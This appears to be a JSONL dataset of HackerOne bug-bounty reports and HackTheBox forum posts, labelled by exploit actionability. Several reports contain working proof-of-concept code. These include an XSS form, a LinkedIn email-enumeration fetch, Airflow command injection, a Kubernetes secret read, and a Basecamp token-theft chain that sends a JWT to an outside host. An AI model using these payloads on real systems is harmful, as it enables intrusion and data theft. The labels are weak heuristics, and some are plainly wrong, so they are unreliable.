-{"id": "98ba8136627fe4dce072", "text": "[Improper Access Control - Generic] Improper Access Control in Ali Express Importer\n\n## Summary:\nGood day team,\n\nI found another improper access control flaw in Ali Express Review Importer that can be used to view all and any existing reviews in Judge.Me app. This is similar to my other reports  #1450807 and #1382652. Basically the same bug with #1450807 just on a different app and endpoint :)\n\n## Steps To Reproduce:\n\n1. Login as an admin to your test Shopify instance\n\n2. Install the apps 'Judge.me Product Reviews' and 'Ali Express Review Importer' (both owned by Judge.me)\n\n2. Add a new review to your Judge.Me app. 'Reviews' ->  'Write a Review'\n\n2. Add/Edit a Shopify staff member and give access only to 'Ali Express Review Importer' app \n\n2. Login to the staff account with only 'Ali Express Review Importer'\n\n2. Go to apps and open the 'Ali Express Review Importer' to establish/start Judge.me session\n\n2. Visit this url to attempt to view reviews from Judge.Me App: `https://judge.me/index.json?shopdomain={yourshop}.myshopify.com&page=1&2. \nper_page=25&offset=0` . Capture the request for this using any proxy intercepting tool like Burp Suite \n\n2. Since you don't have a valid session for the Judge.Me app you will be prompted to login as a shop owner\n\n2. Now in the 'Ali Express Review Importer app, click 'Reviews' -> and then click the refresh icon on the left side of the search bar. Capture the request for this one too since we'd need the cookie in the request.\n{F1785201}\n\n2. Replace the cookie in the request from step 7 to the recently acquired cookie in step 9\n\n2. Send the edited request, the request from step 6 with the new cookie, and you should now be able to view any reviews including hidden/archived ones from Judge.Me App without having access to the Judge.Me app itself\n\nNote: \nSteps 1-4 are done by Admin\nSteps 5-11 are done by user with only Ali Express Importer access\n\n## Supporting Material/References:\n{F1785202}\n\nIf you have any questions on this or if there's anything I can help with please let me know.\n\nHave a nice day!\n\n-PenguinsHelp\n\n## Impact\n\nStaff with no access to 'Judge.me App' can view reviews which they supposedly doesn't have access to", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5383e555bd32a0c20d59", "text": "[NULL Pointer Dereference] Potential NULL dereference in libssh's sftp server\n\nMissing allocation check in sftp server processing read requests may\ncause NULL dereference on low-memory conditions. The malicious client\ncan request up to 4GB SFTP reads, causing allocation of up to 4GB buffers,\nwhich is being unchecked for failure.\n\n## Impact\n\nThis will likely crash the authenticated user sftp server's connection\n(if implemented as forking as we recommend). For thread-based\nservers, this might cause DoS also for legitimate users.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "93383935dcd82a5739af", "text": "[Unknown] Subdomain Takeover\n\nHi team,\nActually team this bug is similar to my previous bug which I submitted-██████\n\nIssue details:-\nSubdomain takeover vulnerabilities occur when a subdomain (subdomain.example.com) is pointing to a service (e.g. GitHub pages, Heroku, etc.) that has been removed or deleted. This allows an attacker to set up a page on the service that was being used and point their page to that subdomain. For example, if subdomain.example.com was pointing to a GitHub page and the user decided to delete their GitHub page, an attacker can now create a GitHub page, add a CNAME file containing subdomain.example.com, and claim subdomain.example.com.\nHere  is motiondesign.geekbrains.ru, wantdigital.geekbrains.ru, productowner.geekbrains.ru subdomains pointing towards unclimed readymag page so this domain can be taken over and can be used to do any type of attacks mostly i can make a fake login page on your behalf and spoof your users, this is a critical vulnerability and needs to be fixed.\n\nVulnerable url:-\nhttps://motiondesign.geekbrains.ru/\nhttps://wantdigital.geekbrains.ru/\nhttps://productowner.geekbrains.ru/\n\nPoc:-\nhttps://domains.readymag.com/\n\nNote: every subdomain are pointing to same cname.\n\nFix:-\nRemove the cname entry or claim the subdomain.\n\n## Impact\n\nRisk\nfake website\nmalicious code injection\nusers tricking\ncompany impersonation\nThis issue can have really huge impact on the companies reputation someone could post malicious content on the compromised site and then your users will think it's official but it's not.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "eca96fff6f5d4c0cfc14", "text": "hey darkon, sorry for the late reply. If you are still interested Ill send you an invite to the CTF team. Its hit or miss with members being active together but there is a good core of us that have been working together to tackle projects, do ctf’s together and in general help each other learn. Only requirement is a hunger for that knowledge and an open mind. Personally I consider myself gray hat but I dont judge anyone for their color hat… the world has never been as simple as black and white. I do however prefer to interact with people that have solid morals and whom use their skills for the right reasons. Hope to hear from you and I hope your journey is going well. -4p0lly0n", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-09-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6c32e5f44c27935a5912", "text": "[Use After Free] CVE-2023-28319: UAF in SSH sha256 fingerprint check\n\n## Summary:\nThe fingerprint_b64 pointer is as parameter for failure logging after it is freed.\n\n## Steps To Reproduce:\n1. git clone https://github.com/curl/curl\n2. vim curl/lib/vssh/libssh2.c\n3. search for the string 'free(fingerprint_b64)' and note that fingerprint_b64 is used as parameter immediately after it is freed.\n\n## Supporting Material/References:\nThe following are the details of the code.\n\ngit commit a51f90ec0f74176776f5d14b99689f9241660eaa (HEAD -> master, origin/master, origin/HEAD)\n\nIn curl/lib/vssh/libssh2.c\n 653 static CURLcode ssh_check_fingerprint(struct Curl_easy *data)\n 654 {\n ...\n 667     char *fingerprint_b64 = NULL;\n ...\n 729     if((pub_pos != b64_pos) ||\n 730        strncmp(fingerprint_b64, pubkey_sha256, pub_pos)) {\n 731       free(fingerprint_b64);\n 732 \n 733       failf(data,\n 734             \"Denied establishing ssh session: mismatch sha256 fingerprint. \"\n 735             \"Remote %s is not equal to %s\", fingerprint_b64, pubkey_sha256);\n\nAccording to git blame, the following commits were involved:\n\nd1e7d9197b lib/vssh/libssh2.c (Mats Lindestam          2021-09-26 23:20:53 +0200  731)       free(fingerprint_b64);\nd1e7d9197b lib/vssh/libssh2.c (Mats Lindestam          2021-09-26 23:20:53 +0200  732) \nd1e7d9197b lib/vssh/libssh2.c (Mats Lindestam          2021-09-26 23:20:53 +0200  733)       failf(data,\nff2f3e8367 lib/vssh/libssh2.c (Daniel Stenberg         2022-04-25 11:41:20 +0200  734)             \"Denied establishing ssh session: mismatch sha256 fingerprint. \"\nff2f3e8367 lib/vssh/libssh2.c (Daniel Stenberg         2022-04-25 11:41:20 +0200  735)             \"Remote %s is not equal to %s\", fingerprint_b64, pubkey_sha256);\n\n## Impact\n\nDepends on which memory is the pointer fingerprint_b64 pointing to at the time failf() is called, it may either crash the application or it may print out whatever was in memory at the time leading to information leak in the fail log.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2023-28319"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "baae07a1bf699c2a2b4a", "text": "[Business Logic Errors] KRB-FTP: Security level downgrade\n\n## Summary:\nlibcurl doesn't fail the FTP connection if Kerberos authentication fails for some reason, but rather reverts back to using regular clear text password authentication.\n\nThe logic is in`lib/ftp.c` `ftp_statemachine`: https://github.com/curl/curl/blob/07a9b89fedaec60bdbc254f23f66149b31d2f8da/lib/ftp.c#L2706\n\nThis means that active attacker in a man in the middle position can downgrade any attempt to use Kerberos FTP to regular one by merely forcing the Kerberos authentication to fail.\n\nThe more secure course of action would be to fail the FTP connection if Kerberos authentication fails. If such change is not deemed necessary the current limitations should be documented.\n\n## Steps To Reproduce:\n\n  1. MitM the connection and make the kerberos authentication fail\n  2. `curl --krb private ftp://victim.tld/`\n\n## Impact\n\n- Security level downgrade.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3b5aba22e0f63934a42b", "text": "I think this box might spawn with slightly different parameters for each person Because || and | always came back as malicious for me, and in Naivenom ’s screenshot, it looks like the command is being executed with sh whereas for me it was using bash. Also I never got anywhere with <<<. I did end up using ${LS_COLORS} and ${PATH}. I think it might be based on IP, as the rules always seemed to stay the same even when I reset the box. Could probably test this with a VPN but I don’t feel like it. If you’ve scrolled down this far you’re probably pretty stuck, here’s what I have to add: johneverist ’s tips are very good. Use them. Number one thing, don’t get stuck thinking you have to use anyone’s exact syntax. As I said, I think this might change person to person. Find the injection point, you’ll know you’re getting close when you get ‘malicious request detected’, but only for certain inputs. There is another spot on the site where this will be returned every time. Do not be fooled. Methodically go through and figure out what syntax is allowed for you, write it down, make a list. Write down exactly what error you get for each string you send through, there could be clues there. Try to get ‘ls’ working, so you can find where the flag.txt is I’d recommend actually using the buttons on the site and just intercepting them with Burp/ZAP, rather than using repeater, so you can actually see the results on the site. It’s slower, but I think I would have missed some things if I was just using repeater. One thing I haven’t seen people mention here is `` these things. They’re pretty cool. Just sayin.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-10-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1d2366f24f4408d5fa91", "text": "[Code Injection] Code inject via nginx.ingress.kubernetes.io/permanent-redirect annotation\n\nReport Submission Form\n\n## Summary:\nThe value of the `nginx.ingress.kubernetes.io/permanent-redirect` annotation will be not sanitized and passed into the nginx configuration. This leads into a code inject from any user that is allowed to create ingress objects.\n\n## Kubernetes Version:\nv1.26.3 (minikube)\n\n## Component Version:\n```\n-------------------------------------------------------------------------------\nNGINX Ingress controller\n  Release:       v1.8.0\n  Build:         35f5082ee7f211555aaff431d7c4423c17f8ce9e\n  Repository:    https://github.com/kubernetes/ingress-nginx\n  nginx version: nginx/1.21.6\n\n-------------------------------------------------------------------------------\n```\n\n## Steps To Reproduce:\n\n  1. Install ingress-nginx, using latest version and default values. For demo purpose, I set `allow-snippet-annotations=false`\n        ```bash\n        helm upgrade -i ingress-nginx ingress-nginx/ingress-nginx -f values.yaml # values.yaml is attached\n        ```\n  1. apply service and ingress object from attachments\n        ```bash\n        k apply -f ingress.yaml #ingress.yaml is attached\n        ```\n  1. Optional: If ingress-nginx is not exposed, run `kubectl port-forward deploy/ingress-nginx-controller 8080:80` and continue step 4 in a separate shell.\n  1. Validate, if the code is injected. This demo uses the hostname `kubernetes.api`, use the `--resolve` parameter of curl to do an request for the hidden server instance. The code below expect that ingress-nginx is accessible trough 127.0.0.1:8080\n\n        ```bash\n        curl -v --resolve \"kubernetes.api:8080:127.0.0.1\" http://kubernetes.api:8080/api/v1/namespaces/kube-system/secrets/\n        ```\n\n## Supporting Material/References:\n\n  * values.yaml - Used in step 1\n  * ingress.yaml - Used in step 2\n\n## Impact\n\nAll users with access to create or update ingress objects, are able to running commands on ingress-nginx-controller pod. Since the token of the ServiceAccount is mounted on filesystem, a user can call the Kubernetes API and fetch all secrets or config maps from the cluster. Additionally, the user can read or write files to the filesystem.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e3de3bc71e9473bd3b89", "text": "[Improper Access Control - Generic] fs.openAsBlob() bypasses permission system\n\n**Summary:** [add summary of the vulnerability]\n`fs.openAsBlob()` does not appear to be limited by the permission system.\n\n**Description:** [add more details about this vulnerability]\nStarting Node with `--experimental-permission` does not appear to restrict `fs.openAsBlob()`.\n\n## Steps To Reproduce:\n\nRun the following code with `--experimental-permission` and do not grant is read access to `file.txt`:\n\n```js\n'use strict';\nconst fs = require('node:fs');\n\nasync function main() {\n\tconst blob = await fs.openAsBlob(__dirname + '/file.txt');\n\n\tconsole.log(await blob.text());\n}\n\nmain();\n```\n\n## Impact: [add why this issue matters]\n\nThe permission system is bypassed when it should not be.\n\n## Supporting Material/References:\n\nNone\n\n## Impact\n\nAn attacker can read files they should not be able to.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0feada48d29f696d7f3b", "text": "[Unknown] Firebase credentials leak\n\n## Summary:\nThis report is regarding the fix of #1351329.\nThe fix is not patched fully, comments are visible to anyone and an attacker can utilize this for further attacks.\n\n## Steps To Reproduce:\ngo to : view-source:https://mpulse.mtn.ng/\nsearch for 'Initialize Firebase'\n\nas you can see the firebase details are commented.\n\n## Supporting Material/References:\nPOC attached\n\n## Impact\n\nUnauthorized access to firebase", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ead8f69412e8be28a744", "text": "[Cross-site Scripting (XSS) - Reflected] xss on [developers.mtn.com]\n\nxss on \n\n`<html>\n  <body>\n  <script>history.pushState('', '', '/')</script>\n    <form action=\"https://developers.mtn.com/sites/all/themes/mtn/helpers/faq-helpful.php\" method=\"POST\" enctype=\"text/plain\">\n      <input type=\"hidden\" name=\"&#123;&quot;title&quot;&#58;&quot;Do&#32;you&#32;have&#32;sample&#32;or&#32;reference&#32;applications&#32;that&#32;could&#32;demonstrate&#32;some&#32;API&#32;calls&#32;for&#32;me&#63;&quot;&#44;&quot;helpful&quot;&#58;&quot;false&lt;svg&#32;onload\" value=\"alert&#40;1&#41;&gt;&quot;&#125;\" />\n      <input type=\"submit\" value=\"Submit request\" />\n    </form>\n  </body>\n</html>`\n\n{F908897}\n\n## Impact\n\nPOC \n{F908895}\n\n{F908896}", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "aabe41ebe5261f835a17", "text": "[Information Disclosure] HAProxy stats panel exposed externally\n\nHi Team\n\nI was able to find exposed web panel for HAProxy running on ████at port 1024\n\n## Impact\n\nBy visiting http://██████:1024/haproxy-status, the statistics page for HAProxy is shown. I have attached a screenshot to confirm that the endpoint is accessible externally\n███\n\n## System Host(s)\n████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nTo Reproduce this simply visit \nhttp://███:1024/haproxy-status?stats\nhttp://███:1024/haproxy-status\n\n## Suggested Mitigation/Remediation Actions", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "41854d39c222f012c673", "text": "[Unknown] Unauthorized Access - downgraded admin roles to none can still edit projects through brupsuite\n\nhi team,\nI found that your site is vulnerable to Unauthorized Access lead to  privilege escalation, where when the owner invites a user with admin roles, the user can still edit anything with admin access, via brupsuite, it should get an error message because the admin role has been removed.\n\n\nproduction step:\n1. The `owner `invites `user` with admin roles at https://dashboard.omise.co/team\n2. Then the `user`, intercept any request using brupsuite, for example edit/add link at https://dashboard.omise.co/v2/links\n3. then the `owner` lowers the role to `none`\n4. then you will see, the user does not see the create link feature because the role is lost\n5. but when the `user` repeats the request step#2 via brupstuite. then it will be valid.\n\nPoC :\n██████\n\n## Impact\n\nUnauthorized Access lead to  privilege escalation, downgraded admin roles to none can still edit projects through brupsuite", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "001fd68edbc9d252f4f6", "text": "[Code Injection] Entire database of emails exposed through URN injection\n\nHello LinkedIn,\n\n1. Situation\n\n- The [decoration](https://learn.microsoft.com/en-us/linkedin/shared/api-guide/concepts/decoration?context=linkedin%2Fcontext) feature available to anyone on voyager API allows expanding URN fields.\n- The query engine does not check whether a field should be expandable or not. Every field can be expanded.\n- It is possible to trigger a URN resolution by assigning an URN value to a text field inside a profile and using a decoration expansion in a voyager query.\n- Assigning a text field to `urn:li:fs_emailAddress:[email_id]` and triggering a URN resolution allows an attacker to retrieve the email.\n- Email ids are generated sequentially or pseudo-sequentially, as a result the entire database of emails is exposed.\n\n2. Mitigation\n\nI suggest the following:\n- It should never be possible for a user to expand a field, unless said field is explicitly allowed to be expanded (good luck with that considering the model size lol)\n- There should be an access check on email data accessible through URN resolution\n\n3. Reproduce\n\n- Authenticate to linkedin.com\n- Edit your profile, go to contact info, add a website and set the following URL value `urn:li:fs_emailAddress:8519272224`\n- Open Chrome console and run the following code after editing the identity param and the csrf token:\n```js\nawait (await fetch(\"https://www.linkedin.com/voyager/api/identity/dash/profiles?decoration=%28websites*%28url~%29%29&memberIdentity=[public identifier]&q=memberIdentity\", {\n  \"headers\": {\n    \"accept\": \"application/vnd.linkedin.normalized+json+2.1\",\n    \"accept-language\": \"en-US,en;q=0.9\",\n    \"csrf-token\": \"ajax:[your token here]\",\n    \"x-li-deco-include-micro-schema\": \"true\",\n    \"x-li-lang\": \"en_US\",\n    \"x-restli-protocol-version\": \"2.0.0\"\n  },\n  \"method\": \"GET\",\n  \"mode\": \"cors\",\n  \"credentials\": \"include\"\n})).json()\n```\n\nResult:\n```js\n{\n    \"data\": {\n        // ...\n    },\n    \"included\": [\n        {\n            \"entityUrn\": \"urn:li:fs_emailAddress:8519272224\",\n            \"confirmed\": true,\n            \"email\": \"melaa[redacted]@gmail.com\",\n            \"$type\": \"com.linkedin.voyager.identity.normalizedprofile.EmailAddress\",\n            \"primary\": null\n        }\n    ]\n}\n```\n\n## Impact\n\nWhat I'm showing here is a simple showcase attack.\nAn elaborated attack involving arrays and multiple accounts can probably retrieve millions of emails a day.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e2177aa3c3cfd3d27865", "text": "Dig: is anyone familiar with this unexpected output?\n\nI was playing around with the dig command and received some unexpected output. Because I’m not familiar with it I thought I’d ask if anyone else has seen it before and can tell me to what it’s referring. Samples below: add 0x55b5a8f2f8b8 size 32 file …/crypto/lhash/lhash.c line 109 mctx 0x55b5a8e6ca40 add 0x55b5a8f28778 size 40 file …/crypto/buffer/buffer.c line 35 mctx 0x55b5a8e6ca40 add 0x55b5a8eb2178 size 592 file …/crypto/err/err.c line 689 mctx 0x55b5a8e6ca40 add 0x55b5a8eb93f8 size 20 file …/crypto/init.c line 66 mctx 0x55b5a8e6ca40 add 0x7f72e1c17010 size 56 file …/…/…/lib/isc/heap.c line 88 mctx 0x55b5a8dcf140 add 0x7f72e1c18010 size 224 file …/…/…/…/lib/isc/unix/socket.c line 4632 mctx 0x55b5a8dcf140 add 0x7f72e1c12230 size 32 file …/…/…/lib/isc/log.c line 1068 mctx 0x55b5a8dcf140", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-06-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5760708c0f52fdad61e6", "text": "[Cross-site Scripting (XSS) - Reflected] RXSS ON https://██████████\n\n**Description:**\nCross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.\n\nAn attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site\n\n## References\n\n## Impact\n\nXSS can have huge implications for a web application and its users. User accounts can be hijacked, credentials could be stolen, sensitive data could be exfiltrated, and lastly, access to your client computers can be obtained\n\n## System Host(s)\n████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1)Paste the payload and you will get a popup https://███/███=%3Cscript%3Ealert(document.domain)%3C/script%3E█████\n\n## Suggested Mitigation/Remediation Actions", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "37c3cfb096a53094fb57", "text": "[Open Redirect] Open Redirect on www.redditinc.com via `failed` query param bypass after fixed bug #1257753\n\nhello dear support\n\ni have found bypass to open redirect this submission #1257753 after the fixed by sec team \n{F1394378}\nold open redirect it;s fixed and not working  this url \nhttps://www.redditinc.com/ama?action=zendesk%2fdefault%2fsubmit&redirect=74bcbfb4f9c047fb4e467dd203ca3b30f2b31216551ab9db2bf44911c029d506thank-you%2fama-form-step-1&success=thank-you%2fama-form-step-1&failed=http://evil.com&ticket_form_id=360000307211&subject=AMA+Request&name=%27%22%3e%3c%2fscript%3e%3cimg+src%3dx+onerror%3dalert%28%29%3e%7b%7b7*7%7d%7d&email=wehifyyis@solarunited.net&email_confirm=wehifyyis@solarunited.net&participants=%27%22%3e%3c%2fscript%3e%3cimg+src%3dx+onerror%3dalert%28%29%3e%7b%7b7*7%7d%7d&description=%27%22%3e%3c%2fscript%3e%3cimg+src%3dx+onerror%3dalert%28%29%3e%7b%7b7*7%7d%7d&organization=%27%22%3e%3c%2fscript%3e%3cimg+src%3dx+onerror%3dalert%28%29%3e%7b%7b7*7%7d%7d&timeframe=next-week&timezone=%28GMT-05%3a00%29+Eastern+Time+%28US+%26+Canada%29&g-recaptcha-response=03AGdBq26GE8j1nvvxRFyoLySXC_sqwwVN0y8SUOy5Dt_EpgjZ_NcTluixasj63r4R-p88FygQDqWM_xAD2usiKGStmYqRt6o7DKUbfFAoJYH_e2RQnymyCPuln8k3AKMBLEVZ_aGU0hoCqzivt7ZaZWKARPDhrSOacKG4M5O7KD7LIbDAq28NtmuK7ByV0oHsM2uUQOwSv8kfsGRh5pXjLo4No1X2tlQUmj1cy7vEPQ0TJvpWzCLnc8vmhl3tjraPCqIXYkrMuf1nqAPx_0mnggUk_jUAy21JSJVGHJroH3asn70y3wOfCr_nYNAyfWo2mm3Ar5iXNwBOkq7ERaltBj9ZSaZdcOBMTq8tfKrR1mZ0h82owoCQTno3ZXHplZ7XHhegeJDOw5F4dcLHSKmiZfUNDkRqSuCO0HfDxov2ty0FWn_y9RR45fdABD--c0dqITZEUcWqJrkx&agreement=yes\nthis old  submission\n\nand bypass here  \n\nhttps://www.redditinc.com/ama?action=zendesk%2fdefault%2fsubmit&redirect=74bcbfb4f9c047fb4e467dd203ca3b30f2b31216551ab9db2bf44911c029d506thank-you%2fama-form-step-1&success=thank-you%2fama-form-step-1&failed=//evil.com&ticket_form_id=360000307211&subject=AMA+Request&name=ergergerg&email=tzzyspu@northsixty.com&email_confirm=tzzyspu@northsixty.com&participants=ergerg&description=ergerg&organization=ergerg&timeframe=month-plus&timezone=%28GMT-07%3a00%29+Arizona&g-recaptcha-response=03AGdBq27Lwm_f_tiYnQMq03oi7u4iTRuxyKgIuJd80Atn2dslKRSRtojLo4zmE7bxWVskHfPWbwB1jhB_nFFnONPa8m3h1ad16G4olvmuj8uTGQEW_LpXhKG3bJqVepH4OVWkZTSo7-sCuhI6ZmyZDa03Ai3zrUvGUeJDUoQGDWW4WgdglWO3TqBzQt_lDcizkX2yGHxasyCkNiifMuarK2Bp6oH52kTUtdnSHoVELj6qDIw0-B1ytpJzKBodibN7txKqSA7-airAZUH7oGU6HZHlH5BW54kJluRlAbGWsL_pMoj6hwYwVFZ7xZzmktYtyHgn5e3TYvd4lUTwmMTReE1v4X0WIID41KgSj9Fcn8KYGo85w5pXY72o-BKWxirNxs_2lh9-WIITsqEL3eTIttbPueaZ5aIb7PS5R51r8nhnTygrWv6_NI8Y5LroEgATxHEch6bWq6-5&agreement=yes\n\n\ni bypass and i add this //evil.com to  failed=\n\n{F1394382}\n\n{F1394384}\n\n## Impact\n\nOpen Redirect and bypass", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e3f8e2c201dad8887ef8", "text": "[Code Injection] CVE-2022-40127: RCE in Apache Airflow <2.4.0 bash example\n\nairflow-2.3.3/airflow/example_dags/example_bash_operator.py has a command injection vulnerability.\nI can control the run_id in the following code(example_bash_operator.py),So I can inject custom commands.\n```\n    also_run_this = BashOperator(\n        task_id='also_run_this',\n        bash_command='echo \"run_id={{ run_id }} | dag_run={{ dag_run }}\"',\n    )\n```\nEnter the DAGs menu and start example_bash_operator task, select “Trigger DAG w/ config”.Set the run_id to \" `touch /tmp/success` \" and trigger.\n\n{F2036322}\n\n## Impact\n\nExecute any OS command", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-40127"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ba844efa61dfd0bd16f3", "text": "[Improper Authentication - Generic] Able to steal bearer token from deep link\n\n# Pre-requisities\n\nPrior to exploitation you would be required to know the \"account id\" of the user that you are attacking. Whilst this makes it difficult to attack an application in a generic way - the account is not secret information as it is included in any links to a user's basecamp organisation. E.g\n\nhttps://3.basecamp.com/5218370/\n\n# Attack\n\nThe attack involves forcing the user to enter the application either by starting an intent from an application on the device already, or by triggering a deep link (which can be done by with e.g. a phishing email) . The link should be in this format:\n\nhttps://3.basecamp.com/<accountId>/verify?proceed_to=<attacker controlled URL>\n\nHere is a sample adb command that can be used to test the attack:\n\n```sh\nadb shell am start -n com.basecamp.bc3/com.basecamp.bc3.activities.BasecampUrlFilterActivity https://3.basecamp.com/5218370/verify?proceed_to=https://haystack-production-storage.s3.eu-west-2.amazonaws.com/attack.html\n```\n\nThe second part of the attack involves redirecting someone using the turbo links API that is exposed through the javascript native bridge. Here is the example:\n\n```js\n<script>NativeApp.openNativeImageViewer(\"[{'download_url': 'https://us-central1-andro-3982e.cloudfunctions.net/home/5218370/image.jpg', 'preview_url': 'https://us-central1-andro-3982e.cloudfunctions.net/home/5218370/image.jpg', 'caption':'ViewImage'}]\", 0)</script>\n```\n\nThis script executes 'openNativeImageViewer' and passes the download_url and preview_url. The preview_url is the most interesting, as it requires not user interaction. In order to render a preview image, the basecamp app sends the JWT header to the site, meaning that the 'preview_url' will receive that header.\n\n# Vulnerability\n\nThe clearest vulnerability is that the check to determine if a URL is an 'internal' URL allows it to by bypassed in a limited way by using the /verify? url along with a proceed_to that is attacker controlled. \n\n```java\nif (TuroblinksUrlHandler.contains(url, \"/verify?\", true)) {\n                C3982h.nullCheck(url, \"$this$proceedToParam\");\n                C3982h.nullCheck(url, \"$this$extractQueryParam\");\n                C3982h.nullCheck(\"proceed_to\", \"queryKey\");\n                String queryParameter = url.toUri().getQueryParameter(\"proceed_to\");\n                url = queryParameter != null ? UrlKt.parseUrl(queryParameter) : null;\n                C3982h.nullCheck(url);\n            }\n\n Intent intent10 = new Intent(context, WebViewActivity.class);\n                    C1071a.addUrlsToIntent(url, intent10, \"intentUrl\", \"intentApiUrl\", null);\n                    return intent10;\n```\n\n## Impact\n\nAn attacker could, without physical access to the device, retrieve a user's authentication tokens. A potentially compounding factor is that once a user has been exploited, it might be possible to continue the chain of attack by having that compromised user share links with other users who trust links sent by the compromised user.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "93e14dc518943250a2c0", "text": "I hey I just found the flag myself. I did manage to utilize the printf function after the fact, but there’s an issue around the 10th iteration. Mind taking a look at it?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-11-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2011a663f2db8736a308", "text": "This was a tough one. I found it helpful to do like they were saying and: Manually explore every button in the web app (while logging everything in BurpSuite or OWASP ZAP) Make note of any new HTTP Parameters as you’re going as the application acts differently depending on what parameters are supplied. Keep an eye out for the Visual error that they were talking about “Malicious request” as this is a good sign that you might be hitting input validation Ask yourself why something may need input validation? Developers aren’t going to put input validation in places where it isn’t needed.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-02-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d4c4332ca1647713cf7f", "text": "No You have to bruteforce absolutely nothing. Find the right list of default passwords.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-07-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "984a4a1a5cc0c85cb386", "text": "Hello! I got hung up on the task “Bruteforcing Passwords”. It seems nothing complicated, one question: “Using rockyou-50.txt as password wordlist and tb user as the username, find the policy and filter out strings that don’t respect it. What is the valid password for the htb user account?” I created my own table, defined a password policy. Filtered out everything unnecessary. Even the list turned out to be small. But persistently the password, which should be correct, does not fit in any way. Strangely simple, how did you solve this problem?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-07-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
